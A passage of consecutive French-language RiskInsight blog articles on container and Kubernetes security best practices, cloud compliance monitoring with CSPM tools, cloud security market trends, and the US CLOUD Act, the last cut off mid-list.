Il est ainsi simple d’exécuter un unique conteneur sur une machine. Cependant, les entreprises possèdent souvent de nombreux d’applicatifs. Un problème se pose alors pour la gestion et la mise à l’échelle des conteneurs à déployer.

C’est à ce moment-là que les orchestrateurs de conteneurs entrent en jeu. Un orchestrateur va permettre de gérer facilement le déploiement, la surveillance, le cycle de vie, la mise à l’échelle ainsi que la mise en réseau des conteneurs. Ces orchestrateurs peuvent être configurés sur des machines on-premise ou à travers des services mis à disposition par les fournisseurs Cloud. Dans ce second cas, leur mise en place et leur configuration seront facilitées, car elles sont gérées par le fournisseur Cloud. La technologie la plus répandue d’orchestrateur au sein des entreprises est Kubernetes. Il existe aussi de nombreux produits se basant dessus, comme OpenShift par exemple. D’autres alternatives comme Docker Swarn permettent également cette orchestration.

L’infographie suivante résume les modèles d’exécutions ainsi que le nom des technologies ou services :

Cette grande variété des modes de déploiement permet d’adapter au mieux le conteneur au besoin métier.

Focus sur l’orchestrateur Kubernetes

Comme énoncé précédemment, Kubernetes et les produits basés sur cette technologie pour l’orchestration sont les plus répandus. Kubernetes sera ainsi utilisé pour illustrer le fonctionnement d’un orchestrateur. Pour le schématiser simplement, prenons l’analogie d’un port à conteneurs.

Considérons tout d’abord les nœuds worker. Ce seront nos bateaux porte-conteneurs. Ils ont pour vocations de porter la charge, c’est-à-dire d’exécuter les conteneurs de l’orchestrateur.

Kubernetes introduit ensuite le concept de pods. Un pod sera les conteneurs sur les bateaux. Un pod est généralement composé d’un unique conteneur. C’est ce composant qui fait tourner l’applicatif à déployer.

Ensuite, nous avons le control plane constitué des nœuds master. Ils sont représentés par les grues qui vont dispatcher les conteneurs d’un bateau à un autre selon la charge que chaque bateau peut accueillir. En termes techniques Kubernetes, le nœud master va décider sur quel(s) nœud(s) worker exécuter les pods. Le nœud master est le point central du cluster. Il contient toute l’intelligence du cluster. C’est également avec lui qu’on interagit pour administrer le cluster et c’est avec lui que les nœuds worker interagissent pour savoir quelles actions effectuer selon les pods qu’ils exécutent (créer de nouveau, les détruire…).

Pour finir, on aura un équilibreur de charge qui sera, dans cette analogie, représenté par les camions acheminant les conteneurs. L’équilibreur de charge permet de répartir la charge de flux entrants entre les pods. Par exemple, si trois pods hébergent le même applicatif, l’équilibreur de charge fera en sorte de répartir les requêtes entre les 3 pour ne pas en surcharger un. L’équilibreur de charge est l’interface entre le cluster et l’extérieur, tout comme les camions font le lien avec l’extérieur du port.

Plus classiquement, voici le schéma technique reprenant les différents éléments[2] :

Comment sécuriser le container à toutes les étapes de son cycle de vie ?

Maintenant que nous avons abordé les notions de base, voyons comment on peut sécuriser tout cela. La sécurité doit s’appliquer à chacun des stades du cycle de vie d’un conteneur. En effet, chaque stade présente des défis et des impacts de sécurité associés.

L’image est d’abord construite

La première étape du cycle de vie des conteneurs est de choisir une image de base. Une image de conteneur est un ensemble de logiciels légers et de fichiers qui comprend tout ce qui est nécessaire à l’exécution d’une application : le code, le moteur d’exécution, les outils système, les bibliothèques système et les paramètres. Le plus souvent, on va récupérer cette image sur internet. Il existe donc un risque d’utiliser une image d’une source inconnue qui serait déjà compromise (avec une backdoor par exemple).

Ainsi, dans cette première étape, il est primordial de bien choisir la source de son image pour s’assurer de prendre une image de confiance (« Trusted image »). Pour cela, on peut s’appuyer sur des sources de référence comme Docker Hub ou encore proposer un catalogue d’images propre à son entreprise. Dans ce dernier cas, les images sont vérifiées et validées en amont par les équipes sécurité de l’entreprise, on les appelle des « golden images ».

La seconde étape est d’installer une application sur l’image. Il existe donc un risque classique de vulnérabilité dans le code de l’application. Les scans de vulnérabilités, la sensibilisation des développeurs et le respect des bonnes pratiques de développement s’imposent ici pour éviter qu’une vulnérabilité ne se glisse dans le code de l’application.

La troisième étape est la configuration des images. Il s’agit de configurations par défaut appliquées lors du déploiement des conteneurs. À titre d’exemple, un conteneur est exécuté avec le compte root (ou administrateur système) par défaut : ne pas modifier cette configuration représente un risque si le conteneur venait à être compromis. De plus, le fait de mettre le système de fichier du conteneur en lecture seule, permet également de limiter les impacts en cas de compromission. En effet, avec ces deux configurations, un attaquant aura moins de champ libre pour ses actions.

L’image est ensuite stockée dans un dépôt de conteneurs

Une fois l’image construite, il faut la stocker pour pouvoir y accéder et la déployer autant de fois qu’on le souhaite. Pour cela on utilise un dépôt de conteneurs qu’il est nécessaire de sécuriser également. En effet, si un attaquant pousse une image vérolée dans le dépôt de conteneur, cette dernière peut être déployée en production.

Plusieurs mesures de sécurité peuvent être mises en place pour sécuriser le dépôt de conteneurs :

• Restreindre les droits et les permissions des utilisateurs ou des ressources sur le dépôt pour réduire le risque : seules les personnes ou ressources ayant besoin de « pousser » ou « retirer » une image du dépôt doivent être en droit de le faire.
• Restreindre l’exposition réseau.
• Signer les images déposées pour assurer leur intégrité.
• Conserver une trace des actions effectuées sur le dépôt de conteneurs.

S’ensuit la phase de déploiement de l’image

Une fois l’image construite et stockée, il faut désormais la déployer pour la rendre accessible.

Lorsque l’on déploie un conteneur, on va déterminer des configurations selon les cas d’usage. Certaines configurations permettent ainsi de réduire l’isolation logique existante entre les conteneurs et l’hôte. Par exemple il est possible d’autoriser un conteneur à lister les processus de l’hôte ou encore partager la même carte réseau. La configuration privileged, permet même de faire tomber ces barrières d’isolation et donne aux conteneurs un accès à l’ensemble des fonctionnalités de l’hôte. Ces configurations, certaines dangereuses, peuvent aboutir à des échappements de conteneur : c’est-à-dire un attaquant qui est sur un conteneur peut utiliser ces privilèges pour s’échapper et parvenir au système d’exploitation. Une fois sur le système d’exploitation, un attaquant pourra obtenir des informations à partir de fichiers de l’hôte ou initier des déplacements latéraux. En d’autres termes, c’est un pas de plus dans le système d’information.

En termes de recommandation sur le déploiement, il sera ainsi nécessaire dans un premier temps de limiter les dépôts de conteneurs à une liste connue et de confiance. Par la suite, des configurations comme AppArmor, Seccomp ou la désactivation des capabilities Linux permettent de restreindre les appels système et les ressources qui seront utilisées par les conteneurs. Pour finir, il conviendra de configurer le système de fichiers du conteneur en lecture seule (ReadOnly) et d’appliquer le principe de moindre privilège sur les configurations passées aux conteneurs. En d’autres termes, il est nécessaire de limiter l’utilisation de la configuration privileged ou encore la rupture de certaines isolations (process, réseau, etc.).

Enfin le conteneur est exécuté

Pour ce qui est de l’exécution, nous allons nous concentrer sur les méthodes privilégiées par les entreprises. C’est-à-dire les orchestrateurs, avec souvent Kubernetes, ou bien les services d’hébergement de conteneurs sur le Cloud, les CaaS.

Dans le cas de l’orchestration par Kubernetes, l’objectif sera d’abord de vérifier la conformité des déploiements de conteneurs afin d’éviter le déploiement de conteneurs dangereux privilégiés. Ils peuvent provenir d’attaque ou simplement d’erreurs d’administration. Selon les plateformes, on parle des , des SecurityContextConstraint ou encore d’outils externes comme OPA Gatekeeper.

Il est également recommandé de limiter les flux réseau au sein du cluster, entre les conteneurs, et sortants du cluster afin de restreindre les déplacements latéraux. Cette restriction peut être appliquée avec des NetworkPolicy ou à nouveau avec des outils externes de micro-segmentation. Pour finir, il sera nécessaire d’avoir une gestion fine des rôles et utilisateurs ainsi que d’appliquer un durcissement suffisant sur les machines virtuelles servant de nœuds.

Dans le cas des CaaS, l’infrastructure est gérée par le fournisseur Cloud. En tant qu’utilisateur, le durcissement pourra se faire uniquement par l’activation ou la désactivation de certaines options. Une analyse de chaque solution sera nécessaire pour définir des recommandations précises car Azure, Google Cloud Platform ou encore Amazon Web Services proposent des options différentes.

Pour finir, surveiller l’ensemble des étapes

Le monitoring des conteneurs est important pour des besoins de debug ou encore de récupération de preuves en cas d’incident. Malheureusement, contrairement à une machine virtuelle, un conteneur est éphémère. Ses journaux le sont aussi par conséquent… Dans ce cas, comment faire ?

La supervision pourra se faire à trois niveaux :

• Au niveau des conteneurs en externalisant les journaux (pour lutter contre le côté éphémère des conteneurs et de ses journaux)
• Au niveau de la charge de travail des conteneurs (workload)
• Au niveau des infrastructures (les nœuds du cluster par exemple)

Cette journalisation collectée pourra être gérée par des équipes SOC Cloud dédiées ou centraliser dans le SIEM de l’entreprise. Par la suite, des scénarios de détection pourront être créés

Il est important de mentionner que les solutions CaaS ainsi que les Kubernetes managés par un fournisseur Cloud (AKS, EKS, GKE, …) permettent de faciliter la centralisation et l’externalisation de ces journaux.

Cette partie a permis d’aborder les bonnes pratiques à respecter et les risques associés à chaque étape du cycle de vie d’un conteneur. Le schéma ci-dessous permet d’en faire un résumé :

CWPP, la solution à nos problèmes ?

CWPP, Cloud Workload Protection Platform, est un nouvel outil dont on entend beaucoup parler en ce moment. Mais que permet-il ?

Un CWPP est un outil permettant de surveiller et de détecter les menaces sur les workloads, i.e l’ensemble des services exécutés sur le cloud, et en particulier les conteneurs. Il permet d’assurer une partie de la sécurité tout au long du cycle de vie présenté précédemment. Il est notamment utile pour la détection de secrets et de vulnérabilités dans les librairies des applications, la réalisation d’une revue des accès au dépôt, la vérification des configurations ou encore la gestion de la partie monitoring (collecte des logs, détection et remédiation).

Comme tout outil, le CWPP ne sera pas magique. Il sera nécessaire de le déployer avec ou sans agent suivant les cas de figure que l’on souhaite couvrir. Mais au-delà de l’aspect technique du déploiement, il sera nécessaire de l’intégrer dans le processus de l’entreprise pour que tous les acteurs aient un outil leur permettant d’optimisant la sécurité. Il ne faut donc pas minimiser la charge nécessaire de définition de stratégie, de nouveaux processus et d’accompagnement au changement des acteurs ainsi que l’intégration de l’outil avec les outils utilisés par les développeurs. Par exemple, un développeur souhaitera être informé qu’il doit réaliser une remédiation sur un conteneur sur son outil de gestion des incidents (JIRA, issue dans le Git projet…) et être en mesure de pouvoir tester son nouveau conteneur depuis sa machine avant même de l’avoir poussé dans le dépôt de conteneur. Les fonctionnalités d’un CWPP sont bien souvent déjà partiellement ou totalement couvertes par des outils existants, sa mise en place peut permettre de centraliser la vision et parfois d’optimiser les coûts de licences.

Les éléments clés de la sécurisation des conteneurs

Vous l’aurez compris avec cet article, le conteneur est né pour des besoins d’infrastructure. Leur aspect léger et flexible en fait un atout parfait pour les besoins applicatifs actuels. Cette démocratisation induit de nouvelles surfaces d’attaques à protéger et impose donc la prise en compte de la sécurité des conteneurs.

Malheureusement, il n’existe pas un outil ou une unique bonne pratique à respecter. En effet, comme l’article l’illustre, c’est un ensemble d’éléments qui permettent de sécuriser ces boites applicatives. Parmi les bonnes pratiques à respecter, les 5 points suivants sont les éléments clés à retenir :

1. Contrôler les images : en utilisant une image de confiance durcie, en sécurisant le code source et en réalisant des scans de vulnérabilités
2. Sécuriser l’isolation des conteneurs : en évitant les configurations dangereuses lors du déploiement des conteneurs et via le durcissement des images
3. Assurer la segmentation réseau : en s’assurant de restreindre l’exposition externe du cluster, les flux au sein du cluster et en sortie du cluster
4. Monitoring et détection : en récupérant des journaux à 3 niveaux différents et en mettant en place des scénarios de détection
5. Sécuriser l’accès IAM : en appliquant une gestion fine de l’IAM sur le cluster ou sur le fournisseur Cloud. Cette gestion peut s’accompagner de revue périodique.

[1] https://www.lemondeinformatique.fr/actualites/lire-l-usage-des-containers-en-production-bondit-a-84-78347.html

[2] https://kubernetes.io/docs/concepts/overview/components/

Cet article Naviguez en toute sécurité : La sécurisation des conteneurs étape par étape  est apparu en premier sur RiskInsight.

Les erreurs de configuration dans les environnements Cloud sont encore source d’incidents majeurs et ce n’est pas près de s’arrêter. L’actualité regorge d’exemples : fuite de 1 milliard de donnés de citoyens lié à une fuite de clé,  campagne de phishing utilisant une clés AWS de Kaspersky, mauvaise configuration d’une base de données NoSQL, 3TB de données sensibles des aéroports…

L’objectif de cet article est de voir comment anticiper un tel scénario en mettant en œuvre une Tour de contrôle (ou outil de supervision continue de la configuration des ressources Cloud).

Avant toute chose, un peu de théorie sur les logs

Les logs cloud peuvent être répartis en 3 catégories :

• System logs: Ils sont générés par les OS et les applications hébergées en mode IaaS/CaaS. Les enjeux ne sont pas différents d’un SI classique on premise, seule l’architecture de collecte de logs peut être à adapter.

• Security infrastructure admin logs : Il s’agit des logs des appliances de sécurité mais également des services PaaS de sécurité utilisés par le client et des logs des flux réseaux. Pour les appliances, là encore rien de bien nouveau, il s’agit du même composant déjà utilisé et bien connu. En revanche pour les services PaaS de sécurité et les logs réseaux, il est nécessaire de mettre en œuvre une intégration spécifique et d’adapter les scénarios de détection.

• Cloud Infra API logs : Lors de chaque call API pour créer, modifier ou supprimer une ressource, le Cloud Service Provider va générer un log.

Ces logs sont accessibles dans des services managés dédiés tels que AWS CloudTrail, AWS config ou Azure activity log

Le délai de mise à disposition va dépendre du SLA du CSP, les logs sont généralement disponibles de quelques minutes à 15 minutes après réalisation de l’opération.

Exploiter ces logs va permettre de passer d’une conformité manuelle et statique à une conformité automatique et continue :

Quelles options techniques pour construire une Tour de contrôle ?

Trois grandes options s’offrent à un client qui souhaiterait mettre en œuvre une tour de contrôle :

• Natif intégré (built-in)
• Natif personnalisé (custom)
• Cloud Security Posture Management (CSPM)

Natif intégré (built-in)

Dans ce premier cas, les outils activés par défaut par le Cloud Service Provider, parfois gratuitement, utilisant des alertes prédéfinies pour évaluer la conformité de vos environnements et délivrer un score de sécurité sont utilisés.

Par exemple Trusted Advisor sur AWS ou Microsoft Defender for Cloud sur Azure.

Ces solutions natives et non-personnalisées permettent d’initier une tour de contrôle, mais elles sont cependant rapidement limitées : il s’agit d’une réponse générique à des problématiques spécifiques.

Natif personnalisés (custom)

Les fournisseurs Cloud mettent à disposition de nombreux services permettant aux clients de construire un outil de vérification de la conformité de leur infrastructure : les outils du CSP disponibles sont personnalisés pour créer des alertes de conformité spécifiques et des tableaux de bord/KPIs personnalisés.

Dans cette option, il est nécessaire de prévoir un projet de 10 à 40 jours hommes pour mettre en œuvre l’infrastructure de supervision, définir les 1^ères alertes et construire les tableaux de bords.

L’usage de plusieurs tenants, organisations ou Cloud nécessitera de définir une architecture spécifique car il n’existe pas de solution clé en main.

CSPM : Cloud Security Posture Management

Wavestone voit un marché en plein essor. Marketsandmarkets estime que le marché devrait plus que doubler entre 2022 et 2027 en passant de 4,2 milliards de $ à 8,6 milliards de $.

Les CSPM supportent nativement de nombreux Cloud providers et mettent à disposition de leurs clients de nombreux tableaux de bord basés sur les grands référentiels du marché. Le client pourra également définir facilement ses propres standards, politiques et alertes.

Le déploiement de ce type d’outil est très simple, nécessitant que quelques jours hommes.

Les coûts récurrents pourront cependant être significatifs : généralement 3 à 5% de la facture Cloud en plus des services du Cloud à activer (similaire à l’option des services natifs et personnalisés).

La vitesse de détection sera également un peu moins rapide car le SLA du CSPM s’additionne à celui de génération des logs de CSP, généralement un délai de détection de 20 minutes à 1 heure.

Que doit superviser ma Tour de Contrôle ?

Le problème majeur que rencontrent les clients lors de la mise en œuvre d’un CSPM avec l’activation d’alertes proposées est la génération de dizaines voire de centaines de milliers d’alertes de criticité haute à traiter. Les équipes ne savent pas par quoi commencer et c’est bien souvent le découragement qui l’emporte. Il faut faire attention à ne pas surcharger les équipes de sécurité !

Pour la mise en œuvre d’une tour de contrôle sur un SI Cloud de production, nous recommandons de déployer les contrôles de sécurité par vague de 10 à 15 à la fois. Pour cela, il faut prioriser les sujets les plus importants. Ci-dessous un exemple de priorisation :

Malheureusement, à toute règle ses exceptions ! Elles sont principalement liées à l’existant Cloud, à des architectures spécifiques ou des contraintes techniques. Il est donc primordial dès la conception de prévoir ce cas de figure et la gouvernance associée :

• Validation : par le RSSI local et/ou le RSSI global
• Expiration
• Revue : décentralisée (localement ou lors d’audits globaux annuels) ou centralisée (par un suivi continu global)

L’utilisation de tag pour les ressources Cloud est la solution la plus simple à ce jour pour le faire – attention toutefois, certaines ressources peuvent ne pas être compatibles comme les services IAM.

Quel que soit le modèle choisi, les sujets à traiter restent principalement les mêmes :

• Garantir l’utilisation et l’application légitime des exceptions
• Définir des indicateurs spécifiques sur des exceptions pour les sujets à risques du Top Management
• Mettre en place des campagnes régulières de suivi des exceptions
• Alerter et traiter lorsqu’une exception expire

Comment mettre en œuvre un processus de remédiation efficace ?

La mise en œuvre d’une tour de contrôle va générer de nombreuses alertes, qu’il va falloir corriger. Trois options sont possibles : bloquer, remédier automatique ou manuellement

Refus (Mode deny)

Pourquoi remédier alors qu’il suffit de bloquer préventivement les ressources non-conformes ?

Avec des Azure Policy ou des AWS SCP, il est possible nativement de bloquer certaines configurations et ainsi éviter la génération de nouvelles alertes.

Pour les cas d’usage non couverts, il est possible de mettre en place des vérifications des templates de déploiement dans les chaines CI/CD (cela nécessite néanmoins une forte maturité).

Déployer un mécanisme de refus – ou deny – sur des environnements existants est rarement implémenté car le risque de générer des mécontentements des équipes de développement est trop fort :

• Les ressources existantes non conformes ne peuvent plus être modifiées
• Cela va générer une charge supplémentaire aux équipes de développement car les habitudes doivent être changées
• …

Remédiation automatique

Ici, il s’agit de corriger directement et automatiquement les configurations déviantes : attention aux effets de bord !

Pour se faire, il est possible d’utiliser les services natifs des cloud provider (Azure policy ou AWS SSM Manager) ou pour des cas non supportés de développer des fonctions (AWS Lambda, Azure Function ou Azure LogicApps).

Manuel

Il s’agit malheureusement de la solution la plus rencontrée mais aussi la plus coûteuse en ressources humaines. Les configurations déviantes sont remédiées à la main par les équipes.

Pour garantir le succès d’une remédiation manuelle, il est nécessaire d’avoir un appui fort du top management pour assurer l’adhésion et la motivation des équipes.

La mise en œuvre d’un tableau de bord de type Cloud OWSAP mettant en lumière les priorités du moment est une bonne solution, permettant de responsabiliser chacun sur son périmètre. Chaque sujet mentionné ci-contre pouvant avoir un ou plusieurs indicateurs.

Avoir l’appui du management n’est cependant pas suffisant, il est nécessaire de connaitre le responsable de la ressource pour lui demander de faire les modifications. Dans un grand groupe international ce n’est pas chose aisée. Notre recommandation est de nommer à minima un security officer par compte/souscription qui devra avoir la connaissance fine des applications et des responsables des ressources.

En parallèle, il est nécessaire de mettre en œuvre un programme de formation et de sensibilisation efficace. Si l’on veut minimiser le nombre d’alertes et éviter de remplir plus vite la baignoire qu’elle se vide, les équipes de développement doivent connaitre et maitriser parfaitement les exigences sécurité à respecter dans le Cloud.

Pour commencer le processus de remédiation, notre conseil est de démarrer de manière centralisée avec une équipe compétente et bien dimensionnée en charge de la mise en œuvre de la tour de contrôle, mais également en charge de mobiliser et former des relais locaux, permettant à terme aux équipes locales de suivre et gérer de façon autonome la conformité sur leur périmètre.

Alerte de conformité ou alerte de sécurité ?

La majorité des entreprises considère la supervision de la conformité de leurs ressources Cloud comme n’étant pas une responsabilité des équipes SOC. Mais la frontière n’est pas si simple à définir, d’autant plus au vu du nombre d’incidents de sécurité dans le Cloud provenant d’erreurs de configuration : exposition publique d’une ressource de stockage contenant des données critiques, MFA non-configuré sur un compte admin ou encore RDP ou SSH exposés sur internet.

La génération d’une alerte de sécurité au SOC permet de tirer parti des processus et outillages déjà en place, pour un traitement 24h sur 24, 7 jours sur 7 même si les ressources SOC ne sont pas expertes Cloud.

Et finalement, cela sera une bonne occasion de rapprocher les sécurités Cloud et les équipes SOC pour améliorer les supervisions sécurité en l’adaptant à la réalité du cloud. Ce sujet pourra faire l’objet d’un article dédié.

Cet article Conformité dans le Cloud, un nouveau paradigme est apparu en premier sur RiskInsight.

Tout d’abord, il faut savoir que la sécurité du cloud est particulièrement différente en fonction des types de cloud et de la manière de consommer des services cloud. Parmi ces services, on y retrouve trois grandes catégories : SaaS (Software as a Service), PaaS (Platform as a Service) et IaaS (Infrastructure as a Service).

Globalement la sécurité du cloud est bien distincte entre la partie PaaS / IaaS et la partie SaaS. Cela se matérialise par le principe de modèle de responsabilité partagée. Lors de la consommation d’un service cloud, le client aura accès à un certain périmètre avec un certain nombre de couches de données ou infrastructure suivant la catégorie de service cloud.

Ce modèle permet de déterminer sur quel périmètre du service la responsabilité du fournisseur de cloud ou celle du client est engagée. La partie sécurité va elle aussi être partagée sur les couches de données sur lesquelles le client va avoir la responsabilité, cela demande donc au client de s’assurer de la sécurité de son périmètre.

Dans le cadre du SaaS, pour donner un exemple, Microsoft Office 365 est un service où le client intègre ses données et n’a pas accès à toutes les couches basses du service. Le client ayant peu d’accès à la configuration du service et par conséquent sur la sécurité, il peut exiger contractuellement un niveau de sécurité auprès de son fournisseur qui aura la main sur la configuration du service.

Au contraire, sur des solutions PaaS ou IaaS, le client aura accès aux couches inférieures et aura donc la responsabilité de les configurer pour se garantir de leur sécurité si elles ne sont pas gérées par le fournisseur de services. Le client peut toujours exiger certains éléments mais la responsabilité du client sera engagée sur une partie importante de la configuration et de l’utilisation sécurisée du service cloud.

La sécurité du cloud soulève particulièrement un sujet contractuel puisque ce n’est pas le service du client lui-même mais celui d’un tiers. Cela amène des enjeux de sécurité à part entière et en particulier la question de ce que le client peut exiger à son fournisseur en termes de sécurité des données. Ces exigences sont amenées à évoluer en fonction de la nationalité du fournisseur.

Cet enjeu de sécurité induit également des changements d’organisation. La consommation de service cloud doit impliquer de repenser l’organisation de la DSI et sa manière de fonctionner au sens large avec une inclusion de la sécurité dans les nouveaux processus. Dans cette démarche d’agilité, la sécurité doit également l’être avec des pratiques type DevSecOps.

Quelles sont les tendances du marché du cloud et de sa sécurisation ?

Il y a encore quelques années les clients étaient retissant à s’orienter vers des solutions cloud alors qu’aujourd’hui, le sujet fait consensus, il s’impose de plus en plus. Un des facteurs majeurs à son développement est la solution Office 365 de Microsoft Azure.

La tendance du marché côté client est de lancer des grands programmes de migration cloud afin d’être accompagné dans cette démarche, notamment s’ils doivent faire appel à un seul ou plusieurs fournisseurs. Le sujet du multisourcing est particulièrement important en ce moment. Les clients se demandent également comment organiser leur DSI afin d’adopter des principes agiles et DevOps et ainsi réaliser leur transformation de manière intelligente. L’objectif n’est pas de réaliser du “lift and shift”, soit migrer une application on-premise existante sans effectuer de modification ou de refonte en l’intégrant directement dans le cloud.

Les clients se rendent compte que la gestion du système d’information suppose des coûts très importants et que cela ne correspond pas au cœur de leur métier. L’offre cloud permet de laisser les entreprises avec cette expertise, les fournisseurs de services, réaliser la migration de ces plateformes cloud. Cela permet au client de se concentrer sur ses processus métier et réduire le time to market, le temps nécessaire pour réaliser une idée initiale et livrer un produit fini aux consommateurs.

En termes de sécurité, une tendance pour les grands programmes est d’accompagner de manière sécurisée les migrations cloud. Cela passe par plusieurs éléments :

• Un accompagnement sur la contractualisation avec le fournisseur cloud concernant le modèle de responsabilité partagée et ce que le client peut migrer ou non ;
• Sur l’organisation de la DSI pour qu’elle devienne DevSecOps, approche qui permet d’intégrer la sécurité dans l’ensemble du cycle de vie des projets, du développement à la mise en œuvre, en utilisant des méthodes flexibles et l’approche DevOps ;
• Pour les clients plus avancés ayant déjà entamés une migration et qui possèdent déjà un multicloud, l’objectif est de les accompagner dans l’harmonisation de ces différentes plateformes cloud et en particulier en termes de sécurité.

Du côté des éditeurs de solution de sécurité pour le cloud, la tendance est de proposer des offres multicloud mais tout en cloisonnant les différents types de cloud (IaaS, PaaS, SaaS) afin de proposer des outils spécialisés. Les outils dits CSPM (Cloud Security Posture Management) qui permettent de réaliser des contrôles de conformité sur des plateformes multicloud sont la dernière tendance du marché. Sur le volet chiffrement qui est un sujet sensible pour nos clients, la dynamique d’accompagnement du multicloud s’articule autour d’offres de service type HSMaaS ou KMSaaS qui permettent de provisionner des clés, appartenant au client – de type BYOK, utilisables d’un cloud à l’autre.

D’un point de vue technologique, la tendance de fond reste le serverless. C’est un modèle de développement cloud qui permet aux développeurs de créer et d’exécuter des applications sans avoir à gérer des serveurs. La conteneurisation et les technologies Dockers ou Kubernetes sont en cours de déploiement à grande échelle chez nos clients entrainant des grands enjeux de sécurité.

Quelles sont les difficultés que nos clients rencontrent sur les sujets abordés ? En quoi cela constitue un réel challenge ?

Les clients ayant une faible maturité sur le sujet qui sont réticents à migrer dans le cloud sont généralement les entités qui traitent des données avec un très haut niveau de confidentialité (ex : prestataire de santé, armement, etc.). Ils se demandent notamment comment ils peuvent faire confiance à une entreprise américaine. Actuellement quand on parle cloud, on parle principalement d’acteurs américains : Microsoft, Amazon et Google, qui possèdent la quasi-totalité du marché du cloud public.

Pour répondre à cette interrogation, on met en avant que lorsque l’on fait appel à un fournisseur de cloud, il faut une totale confiance envers lui. L’objectif est de définir la partie contractuelle en amont de la migration du client pour s’assurer d’une total confiance envers le fournisseur sur l’accès aux données qu’on va lui transmettre. Cela peut notamment passer par une garantie contractuelle, des contrôles de sécurité, etc.  À noter que le chiffrement n’empêchera jamais le fournisseur d’accéder aux données, il faut donc s’assurer de sécuriser le cloud contre les vraies menaces.

Certes, on accepte un risque infime que le fournisseur puisse accéder à ses données, puisqu’elles lui sont transmises, mais le risque reste négligeable par rapport au risque en tant que client d’effectuer une mauvaise configuration du service cloud. Ainsi, les principaux incidents de sécurité du Cloud concernent le vol de données exposées publiquement au travers de services de stockage (S3 bucket, Azure storage, etc.). La responsabilité du fournisseur n’est pas engagée dans ces cas-là puisque c’est au client de garantir la bonne configuration des services PaaS qu’il utilise afin qu’ils soient utilisés en mode privé et non exposé.

Cela nécessite bien évidemment un effort sur les compétences pour consommer des services cloud de manière intelligente tout en le sécurisant.

Pour les clients plus avancés, le vendor locking est un sujet dominant. Si demain, le fournisseur de cloud avec qui le client collabore est amené à arrêter son activité ou est indisponible pour une durée définie, le client perd l’accès à son SI. C’est d’ailleurs pour cette raison que les clients se tournent vers des stratégies multicloud.

Comment répondre à ces problématiques et comment Wavestone peut intervenir ?

Notre conviction chez Wavestone, c’est que le cloud peut être un facilitateur pour la sécurité du SI. Une porte d’entrée pour construire un SI sur des bases saines et s’appuyer sur des technologies qui fonctionnent. Vous pouvez en profiter pour mettre la sécurité au bon endroit dès le début et une des clés pour y arriver est l’automatisation.

L’automatisation doit être mise en place dans le déploiement, les infrastructures mais également la sécurité afin d’obtenir une véritable plus-value. Si le client pose les bonnes règles de sécurité et que ces règles techniques sont traduites dans les chaines d’intégration et de déploiement (CI/CD), le client aura la garantie que le déploiement ses ressources et infrastructures seront sécurisées dès leur déploiement.

Wavestone accompagne également les clients à contractualiser avec des fournisseurs cloud. Nous aidons nos clients à construire des landings zones, c’est-à-dire les bases des architecteurs de sécurité qui vont être déployée dans le cloud. Nos équipes sont intégrées dans des centres d’excellence cloud chez nos clients et travaillent tous les jours à la sécurisation des infrastructures de cloud. Nous avons également la capacité d’aider nos clients dans leur transformation agile et notamment sur les sujets DevSecOps, afin d’apporter la sécurité au plus près de leurs projets.

Quel avenir pour la sécurité du cloud ?

La tendance émergente du moment est le Zéro Trust. C’est un nouveau modèle de sécurité qui répond aux enjeux cloud et usages actuels de mobilités des personnes et de la donnée. Le modèle Zero Trust a pour objectif d’accorder l’accès sur le besoin d’en connaitre et donc de remettre la sécurité au plus proche des ressources.

L’objectif est de remettre l’utilisateur au centre avec la garanti du moindre privilège et de contrôler l’accès à une ressource à chaque fois que quelqu’un en exprime le besoin. Cette vérification se fera quelle que soit son origine même si c’est un collaborateur interne. L’identité et l’authentification sont au centre, tout comme les moyens de détection et de contrôle.

La définition des algorithmes d’attribution des moindres privilèges et la vérification systématique à chaque nouvelle demande d’entrée drainent de vastes sujets autour de la gouvernance des identités pour nos clients. Leur traduction technologique, comme avec Azure AD pour citer la technologie de Microsoft, nécessite de solides connaissances techniques et un accompagnement au changement pour être en mesure d’identifier et configurer les bons moyens d’authentification (MFA, attribution de droits temporaire, etc.) et de contrôles (Conditional Access Policy, sign-logs, etc.) disponibles.

Ce modèle est particulièrement adapté à un usage cloud puisque la plupart des fournisseurs de cloud public permettent l’utilisation de technologies plus fiables et configurables qu’on-premise pour gérer les identités, l’authentification et la détection.

Cet article Les enjeux et les tendances de la sécurité du cloud, interview de Vincent Ferrie est apparu en premier sur RiskInsight.

Pour résoudre ce problème, le gouvernement américain a décidé en 2018 de modifier la loi Stored Communication Act de 1986 en promulguant le C.L.O.U.D Act.

Le C.L.O.U.D Act est l’acronyme de Clarifying Lawful Overseas Use of Data Act, une loi fédérale visant à accélérer l’accès aux informations électroniques détenues par des fournisseurs sous juridiction des États-Unis et qui sont essentielles pour les enquêtes des partenaires étrangers concernant des infractions graves.

Champ d’application des données accessibles par le C.L.O.U.D Act :

• Contenu des communications électroniques stocké sur un support informatique
• Contenu des communications électroniques détenu par un prestataire de service informatique à distance (Cloud)
• Enregistrements relatifs à un service de communications électroniques ou à un service informatique à distance (Cloud)

Un processus contrôlé pour accéder aux données

Tout d’abord, les autorités américaines invoquant cette loi qui leur permet d’accéder au contenu de toutes les entreprises sous juridiction américaine, doivent obtenir un mandat préalable. Elles doivent prouver qu’il existe une forte probabilité de trouver des preuves, liées à l’enquête criminelle en cours, dans les données ciblées, que le crime soit perpétré par le client ou l’entreprise elle-même.

Une fois le mandat délivré, il doit être examiné et approuvé par un juge indépendant.

La demande peut être émise sous ordonnance de confidentialité : les autorités judiciaires peuvent empêcher le Fournisseur de services Cloud (CSP)  de notifier la demande au titulaire du compte. Les ordonnances de confidentialité sont alors examinées plus attentivement par le ministère de la justice.

Si le mandat est approuvé et qu’une demande est émise, le fournisseur de services ou le client, s’il en est informé, peut la contester sous 14 jours si :

• Les données concernent une personne non américaine qui ne réside pas aux États-Unis, et/ou ;
• Cette demande rentrerait en conflit avec la législation d’un pays étranger et l’exposerait à des sanctions.

Des facteurs tels que l’importance de l’information, la spécificité de la demande ou la disponibilité de moyens alternatifs pour obtenir l’information seront analysés par le tribunal.

C.L.O.U.D Act = fournisseur de Cloud ?

Le C.L.O.U.D Act ne vise pas seulement les fournisseurs de Cloud ! Son périmètre est beaucoup plus large et inclut certains logiciels et fournisseurs déjà présents dans les SI de certaines entreprises.

• Services informatiques à distance (RCS): tout fournisseurs de services de stockage et de traitement informatique à des utilisateurs par le biais d’un système de communication électronique.
• Service de communication électronique (ECS): tout service qui offre à ses utilisateurs la possibilité d’envoyer ou de recevoir des communications par moyen électronique ou filaire

• • Entreprises américaines
